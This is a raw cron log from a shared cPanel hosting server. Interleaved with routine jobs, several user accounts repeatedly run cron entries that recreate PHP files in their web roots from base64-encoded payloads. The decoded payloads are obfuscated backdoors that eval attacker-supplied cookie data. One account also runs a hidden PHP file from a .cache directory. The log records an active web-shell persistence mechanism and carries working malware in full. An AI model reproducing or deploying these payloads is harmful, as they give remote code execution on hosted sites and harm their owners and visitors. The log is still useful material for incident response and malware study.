6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:15:01 medusa CROND[17285]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:15:02 medusa CROND[17540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:15:02 medusa CROND[17544]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:15:02 medusa CROND[17543]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:15:02 medusa CROND[17548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:15:02 medusa CROND[17546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:15:02 medusa CROND[17549]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:15:02 medusa CROND[17551]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:15:02 medusa CROND[17553]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:15:02 medusa CROND[17555]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 07:15:02 medusa CROND[17554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:15:02 medusa CROND[17562]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:15:02 medusa CROND[17565]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:15:02 medusa CROND[17564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:15:02 medusa CROND[17566]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:15:02 medusa CROND[17567]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:15:02 medusa CROND[17561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:15:02 medusa CROND[17563]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:15:02 medusa CROND[17576]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:15:02 medusa CROND[17580]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:15:02 medusa CROND[17581]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:15:02 medusa CROND[17584]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:15:02 medusa CROND[17578]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:16:01 medusa CROND[2867]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:16:02 medusa CROND[2975]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:16:02 medusa CROND[3016]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:16:02 medusa CROND[3015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:16:02 medusa CROND[3019]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:16:02 medusa CROND[3020]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:16:02 medusa CROND[3018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:16:02 medusa CROND[3023]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:16:02 medusa CROND[3027]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:16:02 medusa CROND[3021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:16:02 medusa CROND[3028]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:16:02 medusa CROND[3030]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:16:02 medusa CROND[3034]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:16:02 medusa CROND[3038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:17:01 medusa CROND[25367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:17:02 medusa CROND[25644]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:17:02 medusa CROND[25645]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 07:17:02 medusa CROND[25646]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
